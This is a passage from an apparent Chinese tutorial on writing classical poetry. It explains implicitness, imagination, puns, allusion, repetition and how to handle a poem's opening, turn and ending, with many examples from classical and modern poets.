含蓄就是用可知的具体形象，来表现复杂的哲理和思想等的抽象概念；以瞬间表达永恒；以有限传达无限。隐而不露，意在言外。也就是说不把意思明白地说出来，而是包含在所写的形象里，使读者一看就懂，或略加思索就懂。含蓄不同于隐晦，能够看懂的是含蓄，费了很大劲仍然猜不透的叫隐晦。诗词不能象散文一样平直道出，而是要求不要把自己的思想感情直接全部告诉读者，留有不说破的余地，让读者去体会和品味。做到作者得于心，览者会其义。诗词讲究贵在言外，使人思而得之。含蓄地写法比较复杂，常见的有以下几种：
1.只写景象和现实。为什么要这么写？不说破，在使用的语言中透露出作者的思想和意图。如杨万里的《晓出净慈寺送林子方》：
毕竟西湖六月中，风光不与四时同。
接天莲叶无穷碧，映日荷花别样红。
从字面上看，这是一首赞美西湖风光的写景诗，其实还有一层劝告林子方珍惜机遇的意思。林子方是南宋皇帝身边的宠臣，作者的朋友。林子方欣然受命出任外地为官，杨万里有不同的看法，认为在皇帝宠信的情况下，在此职位上更能够更好地发挥其辅政报国的才能。但他不好明言，便婉转的通过这首诗劝告。从首句的“六月中”隐约告诉了人们一个“热”字，暗示其目前的职位是炙手可热的；第二句的“不与四时同”，暗含目前的职位是任何环境都不能代替的，正是发挥个人才能的天时、地利及人和因素的绝好机会；后两句的“天”和“日”分明是暗喻皇帝，是说借助皇上的影响力，其前途及事业会“无穷（不可估量）”和“别样（特别出色）”的。再结合这首诗的命题，不难看出作者的用心了。这种含蓄地写法，需要读者用心去体会，否则不易体会到诗中所反映的实质。
2、只描写和揭露事实，不作任何评价，也不加以分析，是非曲直及言外之意都由读者自己去品味和判断。如杜牧的《过华清宫》：
长安回望绣成堆，山顶千门次第开。
一骑红尘妃子笑，无人知是荔枝来。
这首诗只是写了杨贵妃在山顶上望见驿马送荔枝到来而高兴的一个场面，并未对其这种行为作任何评价。但从诗中“一骑红尘”分析：一匹送边疆紧急公文的驿马绝尘而来的动魄画面，让人们去思考：为了讨杨贵妃开心，动用驿马送荔枝，这样做对不对？会造成什么后果和影响？读者读到了这里以后，自然会和周幽王在此地为了取宠褒姒，“烽火戏诸侯”而失天下的故事联系在一起，作者对统治者的讽刺之情便不言而喻了。
3.只写人物的行动。为什么会有这样的行动,也未加任何评价和分析，一切都由读者去思考。

如杜牧的《秋夕》：
银烛秋光冷画屏，轻罗小扇扑流萤。
天阶夜色凉如水，卧看牵牛织女星。
全诗未点名主人的身份，也未说明她们这些行动的目的。我们可以通过“银烛”、“画屏”、“轻罗小扇”、“天阶”这些词语可以分析到诗中的人物是宫女。从“冷画屏”及“凉如水”的词语，再经过对全诗地全面分析，可以理解成是作者对这些常年禁闭在深宫中的宫女，很难得到君王眷顾的凄凉身世的同情。

又如朱庆余的《宫中词》：

寂寞花时闭院门，美人相并立琼轩。

含情欲说宫中事，鹦鹉前头不敢言。

诗中没有描述宫中的黑暗恐怖，没有讲述被关锁在深宫中女子的痛苦生活。只用了她们在会学舌的鹦鹉面前不敢乱讲话这一形象，含蓄地表达了宫廷内严酷统治下的黑暗恐怖和宫女内心的痛苦。
4.只写出诗词诗中人物的心情。主人公为什么会有这样的心情，则由读者去分析体会，并理解作者的意图。

如李商隐的《嫦娥》：

云母屏风烛影深，长河渐落晓星沉。

嫦娥应悔偷灵药，碧海青天夜夜心。

诗中讲到“嫦娥应悔”,为什么要“悔”？“夜夜心”是什么心？作者都未讲明。但读者可以从“碧海青天”中品味出“悔”的原因是生活单调、枯燥和寂寞无聊。夜夜在思现在，忆往昔，孤独和凄凉的情景便跃然而现。对这首诗我们应该从生活的另一个角度，再加深理解作者的意图。可以推测到，作者描写的是这样一个人：他为了取得荣誉和地位，费尽了心思，用尽了手段。目的虽然达到了，生活又使他失望，这也许是作者欲表达的主题思想。

又如李益的《上汝州郡楼》：

黄昏鼓角似边州，三十年前登此楼。

今日山川对垂泪，伤心不独为悲秋。

诗中说作者“垂泪”和“伤心”是“不独为悲秋”，那还为了什么？诗中未明确讲出。我们可从行间字里看到作者“垂泪”和“伤心”的原因：第一句为我们提供了线索。汝州是现在河南的临汝，虽然不是边境，可是黄昏的时候鼔角齐鸣，和边境一样（似边州），说明这一带有兵祸袭扰；“三十年前”和“今日山川”相对比，说明以前没有这种动乱现象。可见作者“伤心不独为悲秋”，更是因为社会动乱，为国家的前途命运和人民生命遭受涂炭而悲伤。
5.把作者的思想感情包藏是所用的典故里。

如韩翃的《寒食》：

春城何处不飞花，寒食东风御柳斜。

日暮汉宫传蜡烛，轻烟散入五侯家。

诗中所描写的景物是唐代景象，但诗中却讲的是“汉宫”,又使用了“五侯”的典故。使人联想到后汉桓帝宠信宦官，一天封五个宦官为侯。造成宦官弄权，专横跋扈，败坏朝纲，使后汉灭亡。人们便明白了此诗是以汉喻唐，映射从唐肃宗以来宠信宦臣，国事日衰。表达出作者对此的忧虑之心。又如鲁迅先生的：

皓齿吴娃唱柳枝，酒阑夜静暮春时。

无端旧梦驱残醉，独对灯阴忆子规。

这首诗从字面上看似乎在说，暮春季节，酒罢夜深人静时，听见苏州歌妓还在唱曲，忽然想起了往事，对着灯光暗处回想到子规的啼叫声。“旧梦”是什么内容？诗中未说。但是从其典用的“子规”中可以找到答案。“子规”一词出自《离骚》中“子规啼兮，使百草为之不芳”的典故。当子规在暮春啼叫时，百花开始凋落。鲁迅先生用“百花凋落”比喻被国民党反动派杀害的革命烈士，这里指的是革命处于低潮时期，用“灯阴”来比喻国民党反动统治的黑暗。经过这样一分析，这首诗的中心主题思想就是悼念革命烈士，借用“子规”的典故，讽喻在国民党的黑暗统治下，使“百草不芳”。

6、反说。当在某种情况下，人处在某种心情的时候，用反说来透露正意。

正如当母亲看见孩子顽皮、活泼、可爱时，嘴里却骂着“小坏蛋”的喜悦心情一样，是有意的这样反说。这里的反说只是为了让读者去从正面去理解。如杜甫《奉陪郑驸马韦曲》之一：

韦曲花无赖，家家恼杀人。

绿樽虽尽日，白发好禁春。

石角钩衣破，藤枝刺眼新。

何时占丛竹，头戴小鸟巾。

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这首诗里基本上用的都是反说：“无赖”正解为有趣；“恼杀人”正解为爱煞人；“好禁春”正解是无奈春何；“钩衣”“刺眼”本是可憎，却以为喜。韦曲的春色美极了，这正是玩赏春光的大好时节。但诗人头发已白，青春消逝，不再有少年的游兴，对春光有着无可奈何的感慨。“白发好禁春”是说衰老的人，怎好当着春光尽情领略。虽说“花无赖”、“恼杀人”，实际上是对春光的喜爱。这种反说只有在心情特别的适宜场合下才可以用。有时作者在叙述的过程中，直接使用反说词语。如有一篇诗文这样写道：

子规啼彻四更时，起视蚕稠怕叶稀。

不信楼头杨柳月，玉人歌舞未曾归。

这是一首揭露阶级社会中两种悬殊的生活方式。在子规的啼声中，月沉楼头，天色将明。起身关心蚕桑的人们，望着灯红酒绿的妓院仍歌舞弥漫，那些风流的贵公子哥们，也应该回去了吧？这里使用了“不信”的直接反说，不信这个时候还不归去。正解应该为“这时也该回去了吧”？

7.主客移位。这是古诗词含蓄修辞最常用的一种写作方法。把自己的感情和思念移情于景，移情于人。不说自己思念，而说他人思念。从对方巧妙落笔，更显得含蓄和耐人寻味。如《诗经·采薇》中“昔我往矣，杨柳依依。今我来思。雨雪霏霏”。就是把自己的感情寄托于杨柳，说杨柳依依不舍。

六．想象。

写学术论文和政治论文，力求详实准确，要有科学依据，尊重事实，不夸大，不缩小，不能靠想象。造诗词可以根据作者的想象创新的意境。可以在客观事实的基础上，加上作者的认识和感情。为了强调和突出某一方面，可以夸大和缩小。虽然想象不一定是事实，但却有可能。表面好像不符合事实，但表现出的感情是真实的，不要求对所有情节都拿捏的非常准确。想象还包括意象。意象作者为了更好地服务于主题思想，把一些根本不可能有的东西如：神仙、鬼怪、凤凰、飞龙等通过意境虚构出来，象《西游记》、《封神榜》等小说，都是采用了意象写作表现手法。想象通常在写作中采用以下几种手法：
1.概括。诗词的内容不一定要忠实记录诗人所见，往往是根据作者日常生活中的所见所闻，加以想象概括而成。如杜牧的《江南春绝句》：
千里莺啼绿映红，水村山郭酒旗风。
南朝四百八十寺，多少楼台烟雨中。

有人曾质疑：“千里莺啼谁人听得见？应是十里误为千里也！”若改为十里，那山村、水郭和数百寺院，十里又如何能容纳得下？这是作者将平时所见、所闻、所经过的实景做一记录，不可能去证实这些东西千里之内都是否存在才去写。诗人以概括能力去创造理想世界，大至宇宙，小至毫芒，不一定非在视听范围才可以写作。

2.夸张。夸张是用形象化的语言把被描写事物的形象、特征、作用、程度等加以夸大或缩小，这种修辞手法就叫夸张。夸张是用丰富的想象力，在原有事物的基础上，极力扩大事物的特征，把话说得“言过其实”，以增强表现能力。诗词是艺术，艺术的真实不同于客观的真实。艺术是以客观事物为题材，用来表达作者主观的思想感情。为了表达艺术效果，可以把客观事物改造、放大、缩小、虚构、增饰和美化等。只要能引起读者共鸣，可以不十分计较常识和逻辑。如陆游的《秋夜将晓出篱门迎凉有感》：

三万里河东入海，五千仞岳上摩天。

遗民泪尽胡尘里，南望王师又一年。

诗中的“三万里”、“五千仞”、“上摩天”、“泪尽”都是夸张语。正是这些夸张的描写，把诗人对祖国的热爱，对遗民的同情，对苟且偷安，不肯收复失地的投降派地愤懑，表现得淋漓尽致。李白的“天台四万八千丈”、“会须一饮三百杯”、“白发三千丈”等；杜甫的“双皮溜雨四十围，黛色参天二千尺”等，都是夸张的描写。

夸张在描景抒情中使用很广泛，是烘托气氛，增强语言生动性的一种重要修辞手法。如“人固有一死，或重于泰山，或轻于鸿毛”,这种反差的夸张比喻，使人读后有很强烈的震撼，很有感染力。

3，虚拟。作者的主观思想感情是通过所写的事物来表达出来，而表达思想的事物是想象出来的，这就是虚拟。夸张是在原事物基础上的夸大，而虚拟是没有这样的事，或根本不可能有的事通过意境给虚构出来。虚拟通常有以下几种写法：

A.拟物。把自己的思想感情寄托在山、水、花、草、鸟、兽等身上反映出来。如刘禹锡的《乌衣巷》：

朱雀桥边野草花，乌衣巷口夕阳斜。

旧时王谢堂前燕，飞入寻常百姓家。

王、谢是东晋的两大门阀，刘禹锡是中唐人，距东晋约四百余年。王谢堂前的燕子是绝对不可能飞到唐代百姓家的，这就是想象，这就是虚拟。这首诗前两句写的是物似，后两句写的是人非。以虚拟王谢家的燕子飞入百姓家的变化，使人们联想的显赫一时的王谢家族，从兴盛转为衰败的人世沧桑。含蓄而形象地告诉唐代的豪门权贵：你们也逃脱不了这样的下场。这样的写作方法，比抽象地说教更显得有力。

B.拟人。拟人是把物当做人来写，把物人格化，赋予物以人的感情、动作和行为，使物具有人类鲜活的生命。如一首题莲藕的对联：

藕入泥中，玉管通地理，

荷出水面，朱笔点天文。

作者把自然界的植物人格化，与科学名词巧妙地结合在一起。运用拟人化的手法，形象地描绘出莲藕在池塘中一派生机盎然的图景。既通俗易懂，又生动活泼，不同凡响。还有一幅题鸟类的对联：

鹊噪鸦啼，并立枝头谈祸福，

燕来雁往，相逢路上话春秋。

这幅对联以生动的拟人手法，把自然界的动物与节气季候及人们的传统意识，密切地联系在一起，使人趣味盎然。再如姜白石的《扬州慢》词中：

自胡马，窥江去后，废池乔木犹言厌兵。

胡马窥江，是指金兵侵犯到长江附近。后几句采用了拟人写法：意思是说，受到金兵袭扰以后，就连荒废的城池和古老的树木，也对战争表示厌恶。这种拟人写法在诗词中得到广泛地应用。如：“感时花溅泪，恨别鸟惊心”、“春风知别苦，不遣柳条青”、“蜡烛有心还惜别，替人垂泪到天明”等等，都是采用了拟人化的写法。

C.虚构。为了服务中心思想或表现主题，作者有时候可以虚构出一些根本不存在的东西，以营造意境的需要。如：神、鬼、龙、凤等。在李清照的《夏日绝句》：“生当做人杰，死亦为鬼雄。至今思项羽，不肯过江东”。为了衬托人中豪杰，塑造出鬼中英雄。又如李商隐《无题》中的“蓬山此去无多路，青鸟殷勤为探看”,臆造出“蓬山”和“青鸟”。李清照的《渔家傲》中的“仿佛梦魂归帝所，闻天语，殷勤问我归何处？”词中虚构出和天帝的问答。

七．双关语。

在一定的语言环境里，有意使同一词语的音、形、义互有关联，使一句话涉及到两件事，所使用的个词汇就叫做双关语。双关语写作运用的类型主要有：借音双关；音形双关；语义双关（兼取音、形、义双关）三种。

1.借音双关。借音双关又称谐音双关。这种双关的方法是借词的发音相同或近似而构成的。例如纪晓岚对庸医恨之入骨，他将孟浩然的诗句“不才明主弃，多病故人疏”，改为“不明才主弃，多病故人疏”。只把原字调换了一下位置，便变成一幅讽刺庸医的妙联了。其中“才”借“财”字的发音，内容变成了不择手段地捞取不明钱财，过多地坑人、害人，连熟悉的人也会疏远和减少。

又如刘禹锡的“东边日出西边雨，道是无晴却有晴”。诗人借助“晴”与“情”二字同音，明取景而暗喻情。既含蓄，又细腻。若仅仅解释为“晴”，诗便索然无味，体会不出双关语的另一层趣味了。

在运用谐音双关时，必须注意表里两重意义的词语发音上要近似或相同，表里两重意义的词要有一定的联系。双关语虽然还保持了原义，但未讲出来的意思才是主要的。

2.音形双关。音形双关是借助词的语音、字形都相同这个条件构成的双关语。

例如古时候有人给果品店写了这样一幅对联：“王戎李核，童贯梅仁”。王戎是西晋时的大贪官，曾任尚书令。此人爱财如命，常亲执牙筹，昼夜计算。“李”既指果品李子，又借音“办理”的“理”。“核”既指果核的“核”，又可以理解为“核算”的“核”。所以上联的另一层实质意思是讽刺当时的官员象王戎一样贪财，只顾核算敲诈钱财。童贯是北宋宦官，曾镇压过方腊农民起义，杀人无数。“梅”既指果品梅子，又借音“没有”的“没”。“仁”既指果核的种子，又和“仁义”的“仁”同音同形。下联以双关语痛骂那些当权官员象童贯一样没仁没义，丧尽天良。

毛主席的“我失骄杨君失柳。杨柳轻扬直上重霄九”中的“杨柳”，就是双关语。从字面上看，好像在说的是杨花柳絮。实质上是借字的音、形相同，指的是杨开慧和柳直荀两位革命烈士，音形双关美妙到外文无法翻译的地步。

还有一副巧对：“昨夜敲棋问子路，今朝对镜见颜回”。这副对子中的“子路”和“颜回”是孔子的两个学生。原义应是“寻找棋子的路线”和“见到颜面的真容”。巧妙地在联中镶入人名，又和文义相有联系。

3.音、形、义双关。这种双关所用的词，其音、形、义在两层意思中完全相同。这种相关是语言艺术修辞的一种重要手段，它言简意赅，含蓄有味，富有一定的感染力。

例如《乐府诗集·读曲歌》中的：一夕就郎宿，通夜语不息

黄檗万里路，道苦真无极

这里的“道苦”是双关语。一方面可以理解为久别新归诉说不完的离情之苦；另一方面又可把“道”理解成“道路”的“道”，道路是的极端艰辛困苦。

光绪三年，北方大旱，蝗虫成灾。据《清史稿》记载，仅陕西三原县就“饿毙男妇三千余人”,哀鸿遍野。当时李鸿章任宰相主政，翁同和任户部尚书（又称司农）主管钱粮。李鸿章是合肥人，翁同和是常熟人。于是有人用双关语编了一副对联：

宰相合肥天下瘦

司农常熟世间荒

巧妙地把两人的官职、籍贯和政绩分别编入上下联。“肥”与“瘦”，“熟”与“荒”妙语双关，讽刺辛辣。

双关语的主要作用是在于加深言辞的余味，使之富有启发性。含蓄而不含糊，显豁而不显露，这是这一修辞手段的主要特点。

八．用典。

用典也是用词问题，是诗词写作的一种常用修辞手法。用典就是在表达思想感情时，不直接使用有关词汇，而是用古人的事迹或古人的语言，启示读者发生联想，让读者去体会作者要表达的思想，这种写作的修辞手法就叫用典。

1,用典的好处。

A。精炼。字少义多，能用最少的文字，表达出最丰富的内容。诗词受篇幅地限制，说多了罗嗦影响文体，説少了表达不出完整的意思。使用大家熟悉的典故，可以节省文字，做到精炼。

B．含蓄。诗词贵有“含不尽之意，见于言外”，尤以不著意见、不著议论者为上，给人们留下思考的余地。而适当地用典就能起到这种效果。如韩翃《寒食》中的“轻烟散入五侯家”，用“五侯”的典故讽刺皇帝只把恩泽赐给太监。过度地宠信太监，造成大权旁落，会像后汉桓帝一样导致国家灭亡。

C．语言清晰。清晰是指要说得具体，要具体就要多用形象，少用抽象。古人是具体的人和事，用典往往可以避免抽象的概念。例如：毛主席的“宜将剩勇追穷寇，不可沽名学霸王”。这句话的意思是:那怕只剩一点力气，都应该全力以赴地把敌人消灭掉。切不可满足现有的成绩，在胜利面前止步不前，使敌人得到喘息的机会，有一日卷土重来，使革命遭受到严重损失。要把这些复杂内容用十几个字来表达，难度本身就很大，况且还要押韵、平仄、对仗等格律限制，要形象而不抽象，就更难上加难。典用霸王的故事，使人想到霸王失败的根本原因就是沽名不肯杀刘邦。致使刘邦得以喘息的机会，养精蓄锐，卷土重来。霸王终于大败垓下，身败名裂，遗恨千古。又如周总理的：

大江歌罢掉头东，邃密群科济世穷。

面壁十年图破壁，难酬蹈海亦英雄。

诗中的“大江”是苏轼《念奴娇·赤壁怀古》中：“大江东去，浪淘尽、千古风流人物”中的“大江”。这首词是苏轼豪迈风格的代表作，“大江东去”成了豪迈的代用词。周总理年轻的时候东渡日本，寻求救国之路，本身就是豪迈行动，所以用“大江”来烘托豪迈的气氛。这样写要比用抽象的概念生动得多。

“面壁十年”是南北朝时印度僧人达摩为了修炼，在少林寺面对墙壁苦修十年的故事。周总理用此典是取了为达目的肯下功夫的意思。“破壁”是个神话故事:说南北朝时画家张生繇在墙上画龙而不画眼睛，他说点睛后龙会飞走。人们坚持一定要画上眼睛，他画上眼睛后，龙变成真龙毁坏墙壁腾空而去。周总理用此典只取龙在墙上，要打破束缚，飞入天空去寻找自由。“壁”是具体的东西，“面壁”和“破壁”是具体行动。互相照应，互相对比，使语言流畅，趣味盎然。

2,如何用典。

诗词要不要用典，不能一概而论。写景咏物和以写景咏物为主的抒情诗，建议最好少用典。因为用典不如白描，不易把景物特点描绘出来。以抒情为主，而感情又复杂深厚，比如说对国家的、人生的、个人遭遇等的种种感触，这种感情抒发受到格律的限制；或者有些话在当时不便明说；或者不容易用几句话说明白的，这种情况就需要用典。

用典的手法通常有以下几种：

A．正面用典。正面用典不须读者过多思考，直接可以领会作者的意思。如前面讲到的毛主席和周总理诗中的用典，都是直接表达出作者的意图。再如刘禹锡的《酬乐天扬州初逢席上见赠》中的：怀旧空吟闻笛赋，到乡翻似烂柯人。

第一句典用晋代向秀因怀念故友嵇康和吕安而作的《思旧赋》，这里借以怀念已经逝去的友人。向秀在二友被杀后，途经两人旧居，闻其邻居笛声悲戚而作《思旧赋》。作者用来表达同当年向秀一样思念自己的朋友白居易。第二句借用了晋代人王质的传说。故事说王质进山砍柴，见二童子下棋，便驻足观看。棋终，发现自己手中的斧柄已经腐烂。回到家中，时过百年，人过几代。诗人借用此典来抒发自己对人事沧桑的强烈感受，暗示自己被贬时间的长久，以及回归后生疏而惆怅的心情。这是正面用典。

B。化典。化典是指把所用的典故融化在自己的诗句中，不像一般用典那样明显，甚至几乎看不出是在用典。如李商隐的《昨夜》：

不辞鶗鴂妒年芳，但惜流尘暗烛房。（注：鶗鴂【读tijue】杜鹃的别名）

昨夜西池凉露满，桂花吹断月中香。

首句是典用屈原的“恐鶗鴂之先鸣兮，使百草为之不芳”.即使不知道是用典，人们同样可以体会到“不嫌春花落尽”的意思。诗中暗指不嫌自己青春消逝，事业无成。

化用的另一种写法是将原典中一部分成分去掉，使之净化。如李白的《宫中行乐词》中：“只愁歌舞散，化作彩云飞”。这是借用宋玉《高唐赋》中讲楚王梦见神女，神女愿陪席共枕。临去时说“旦为行云，暮为行雨”。后来“云雨”合用，含有男欢女爱之意味。李白在这里去掉了“雨”字，把这个典故净化了。

C．反用。诗人用典，往往是借古喻今，有所寄托才会使诗句更有意义。李商隐在《贾生》中说：“可怜夜半虚前席，不问苍生问鬼神”。贾谊是一位很有才华的政治家，受排挤放逐在外。汉文帝想到他的才能，召回后让出前边的座位接待他，问其神鬼之事。诗人以此发出感慨，讥讽汉文帝不关心百姓和社稷，明知贾谊有才而不用。作者典用贾谊，其实是感叹自己的怀才不遇。再以林逋“茂陵他日求遗稿，犹喜曾无封禅书”为例：“封禅书”是典用司马相如退职家居，临死前还写《封禅书》来讨好汉武帝，迎合其好大喜功的心理。封禅是古代天子登山祭天地，宣告功绩的一种祭祀仪式。林逋反用此典以表示自己不想讨好皇帝的高洁品格。说皇帝他日来征遗稿，他自喜没有奴颜媚骨的封禅书。这种写法同李商隐写法一样，都是反用。但是，林逋的反用还有反衬作用，将反衬和反用二者结合起来。

马子才在《文帝》一诗中说：“可怜一觉登天梦，不梦商岩梦棹郎”。诗中所用汉文帝梦见邓通之典，也是反其义而用之，含有不该梦见邓通的意思。用商朝高宗梦见贤人傅说来作反衬，暗讽汉文帝不如高宗。因为邓通是小人，汉文帝赐给他铜山，允许他铸钱造币，结果给国家和人民带来了极大危害。而商朝高宗任用贤人傅说为相，使天下大治。这首诗同样运用了反用和反衬的写作方法，含蓄地表达了对汉文帝的批评。

3.用典中应该注意的几个问题。

A。可以用作者的话表达清楚的，不一定非要用典。用典必须适当，不要乱用典，以至起到反作用。

B．禁用生僻典。用典时，尽量使用大家都比较熟悉的典故，生僻典故使人读起来晦涩，看不懂，反而不能很好地体会作者思想。如苏轼的“冻合玉楼寒起栗，光摇银海眩生花”。辞藻华丽，对仗工整。可是，“玉楼”和“银海”是什么意思？一般人恐怕很难理解。“玉楼”在这里指人的肩项骨；“银海”指人的眼睛。这两个词汇分别出自道家和医书，辞海里无法查到。名人炫耀自己博学，可当别论，对于常人此典就用得有点适得其反了。

C．用典尽可能的完整。用典不完整和化典是两回事，不完整的典故读者不是看不懂，就是误解。如辛弃疾的《破阵子》中：“八百里分麾下炙，五十弦翻塞外声”，为了同“五十弦”对仗，使用了“八百里”，使人容易理解为在八百里行军中，把烤熟的肉分给麾下。这是把“八百里駮(bó)”给简称了，八百里駮是一种很珍贵的牛，“八百里”是牛的代名词。这句话的意思是战士们正在分食烤熟了的牛肉，显示出将士同乐，大块食肉，杯碗交错，鼓乐喧天的豪壮场面。

D．用典不宜过多。过多地用典让读者望而生畏，读而却步。这是因为读者不可能都能熟悉所用之典，若逐一查阅，读者会因此而失去兴趣。李商隐的《锦瑟》中，八句用了四个典故，历来人们对这首诗解说纷纭：有人说是回顾平生，感叹抱负难以实现；有人说是对爱情的眷恋；还有人说是对友人的怀念；至今无一人能够准确地解读出作者的真实思想。所以过多的用典，有时会使读者误解了作者的本意

九．重沓。

重沓也叫反复，是诗词写作中的一种修辞方法。诗词的基本要求是语言精炼，不应有闲字和重字，更不应该有重复的词语出现。但在特定情况下，通过某一词语或句子的反复出现，可以突出作者要表现的事物。将作者所要表现的某种强烈感情，如欢乐、悲恨等表达出来。使人不但不感到罗嗦，反而觉得流畅优美。如崔颢的《黄鹤楼》中，就连续出现三个“黄鹤”，以至不惜影响平仄格律。重沓在这里地使用使人加深了黄鹤和黄鹤楼的印象，重点突出了所咏之物。同时，重沓的写作手法是写景中可以使场景画面更加鲜明，气氛更加浓郁。如汉代民歌《江南可采莲》：

江南可采莲，莲叶何

鱼戏莲叶间。鱼戏莲叶东，

鱼戏莲叶西。鱼戏莲叶南，

鱼戏莲叶北。

本来一句“鱼戏莲叶间”，就可以把鱼戏莲叶的状况反映出来，就此结句。但通过重沓的写作手法使全诗音调优美，把水上采莲的画面和人们采莲的欢乐场面活现在眼前。

有一则故事：说有人送了一条活鱼给郑国子产，被小吏骗地吃了。小吏对人学说：“谁说子产聪明？鱼都被我吃了，他还说‘找到合适的地方了，找到合适的地方了’”！要是删去小吏重复子产说过的一句话，就不能将小吏取笑子产的幸灾乐祸的神情表达出来。象这些表达人物生动神态的重复是必要的，是不能节省的。

重沓的修辞手法，还可以起到标明层次段落、加强诗歌节奏感的作用。如《诗经·硕鼠》中，每段开头都有“硕鼠硕鼠，无食我黍”；“硕鼠硕鼠，无食我麦”；“硕鼠硕鼠，无食我苗”等，既标明了段落，又加强了节奏感。

（四）诗词的写作

一首好的诗词，都是经过不断推词敲字、反复修改而来的，才具有很好的思想性和艺术性。要想把诗词写得好，除了作者要具有各种深厚的文化底蕴外，还要细心地观察和深入生活。力争用最简洁精炼的文字、最含蓄生动的语言，反映出最复杂的思想感情和最深邃的道理。要写好一首诗词，除了掌握以上各节所讲的基础知识外，还必须了解和熟悉以下几个方面的问题：

一。如何写好诗词的开头、转折和收尾。
1.开头。对于一首诗词的总体要求，元人乔梦符有“凤头、猪肚、豹尾”之说。是说开头要写的要有生气，语言俊秀，悬念迭起，先声夺人；内容要文锦意丰，充实饱满；结尾要启人深思，含蓄有味。一个好的开头才能引起读者的兴趣和悬念。一首诗的开头一句所用的词语不要太平庸，尽量避免平铺直叙和就事论事的写法。平铺直叙与白描写法不同，平铺直叙是将事物不加深化地直接叙述。而白描是一种造诣较深地写作方法，重在传神，不用修辞手法，将事物不加修饰，不加烘托渲染地直白道出。如柳永的《雨霖铃》中，作者在写分别前的依恋感情时，用了蝉声、亭景、秋雨等极尽烘托渲染之能事后，突然发出“执手相看泪眼，竟无语凝噎”，一句痛彻肺腑的白描。生动而不夸张，真朴而不粗俗，深情而不轻佻，这些都和平铺直叙有着本质的区别。这首词的开句更是值得借鉴：以秋蝉悲鸣；长亭别影；骤雨如泣；愁肠对酒；离舟催发等，为后文抒情浓墨重彩。所以，诗词的首句一定要意境深远，以烘托全篇。要起笔突兀出人意外，引人入胜。用精辟的词语来打动读者。如苏轼的《念奴娇·赤壁怀古》首句：“大江东去，浪淘尽，千古风流人物”。以波澜壮阔的“大江东去”给人们留下“浪淘尽，千古风流人物”的悬念。杨万里的《晓出净慈寺送林子方》开句就起笔突兀：“毕竟西湖六月中，风光不与四时同”，好像有点脱口而出。这是诗人将自己的思想感情通过西湖美景情不自禁地流露了出来，是有感而发。这种由衷地赞叹，更强化了人们对西湖风光理解和赞美。又如曹植的《赠徐干》中的“惊风飘白日，忽然归西山”。太阳落山不是什么奇景，可是作者用了“惊风”来“飘白日”；用“忽然”来形容太阳落山，好像突然被风吹落似的。作者把强烈的思想感情写进景里，即景生情，语言精炼动人。诗词的开头一定要鲜明生动，先声夺人，避免一读开头，便知结尾的现象。忌写于主题无关的废话，使读者有读下去的兴趣。
2.承转。承就是承接开头。在承接同时还要需转折，直入主题。有了精彩的开头，承接可以和缓，转折要突起。这样全诗就显得有波澜，有起伏，尽可能地避免平铺直叙，必要时叙述可以跳跃。
一般情况下，律诗在颔联承转，绝句在第二句承转。写景抒情诗的颔联以上以写景为主，颈联以下以抒情为主。通常也有很多全诗写景，将情寄托在所写的景物中。如叶绍翁的《游园不值》：
应怜履齿印苍苔，小扣柴门久不开。
满园春色关不住，一枝红杏出墙来。
前两句写出了作者趁兴游园，被拒之门外的失意心情；后两句是写作者从墙头上看到了“满园春色”的喜悦心情。这里用欲扬先抑的写作方法，来衬托两种不同心情的落差。
承转是诗词写作手法的一种，主要是说要写得有起伏，但也不必过于拘泥。至于说承接可以和缓过度，转折要突兀，并不是说所有的诗都是这样。也有先扬后抑的写法，并不和缓。如岳飞的《满江红》，一开句便是“怒发冲冠，凭栏处，萧萧雨歇。抬望眼，仰天长啸，壮怀激烈”。情景交融，慷慨激昂。紧接着承接句便下抑，发出“三十功名尘与土，八千里路云和月，莫等闲白了少年头”的感叹。
由此可见，作品要写的起伏跌宕，取决于作者的思想感情和对生活的深刻感受。这不是作者的有意做作，而是强烈思想感情的喷发。所以承接是多种形式的，前提是必须服从作者真实的思想感情。

在写作中最好把一些关键性的重要词汇放在诗词的中间部位，有利于全诗的曲折变化。避免读者一读开头，便知结尾，而缺乏引人入胜的力量。
3.结尾。一篇好的诗词，妙在落句，被人形容如豹子的尾巴。写好了会使读者回味无穷，余音袅袅，言终意未尽。写景的文章，结尾时最好以景结情，或以情结尾。如《瑞龙吟·章台路》中“还见粉退梅梢，试花桃树”。这一词是写诗人去访秋娘，但人已不见，只留下回忆。颇有“桃花人面”之韵。最后写归去时以“断肠院落，一帘风絮”作结。从“断肠”字间透露出“人面不知何处去”的人去院空的相思凄凉感，从“风絮”的字里透露出感情的失落和漂泊之感。这个结尾是以景结尾的写法，深情而含蓄，被诗家认为是很好的结尾。
有些诗词虽然结尾明白的说出了感情，但立意新颖，也不能说因为不含蓄而受到贬低。如秦观的《鹊桥仙》下阕，“柔情似水，佳期如梦，忍顾鹊桥归路。两情若是久长时，又岂在朝朝暮暮”。这是说牛郎织女七夕相会后，不忍分别，不愿回看归路。因此安慰他们，两情是长久的，又岂在朝夕相聚，道出爱情真挚长久的可贵。虽然明白地说了出来，但立意和用意很好，也是非常好的结尾。
从写作技巧上来说，结尾还可以有不同的手法。如李白的《听蜀僧濬弹琴》：“不觉碧山暮，秋云暗几重”。听琴听得入神，不觉得天已暗下来。用衬托的手法，写弹琴的高明。杜甫的《春宿左省》：“明朝有封事，数问夜如何”。明天早晨有奏章上奏，所以睡不着，几次起来问夜已几时了。这是用叙事来结尾的写法，抒发出了作者关心国事的心情；章承庆的《南行别弟》中“万里人南去，三春雁北飞。未知何岁月，得与尔同归”，是以疑问作结；杜甫的《房兵曹胡马》中“骁腾有如此，万里可横行”，是用议论来作结；张九龄的《自君之出矣》中“自君之出矣，不复理残机。思君如满月，夜夜减清辉”，是用比喻作结；储光羲的《江南曲》中“日暮长江里，相邀归渡头。落花如有意，来去逐船流”，是用写景作结。从这里可以看到好的结尾方式是多种多样的。
总之好的开头、承转和结尾要互相呼应，要根据具体内容等去决定写作表达方式。诗词写作无定法，写作方法和表现方法是千变万化的，没有固定的格式，一切以作者思想感情为写作基础。
二、诗词的写作方法。
1.完整和精粹。对于诗歌写作的文学艺术性，历来有三种看法：一种是必须写完整；一种是要求写精粹；普遍地看法是完整和精粹是不可分割的。只要心中有了完整，才可以通过精粹去反映全体。也就是说精粹要从完整中来，离开了完整就谈不上精粹。
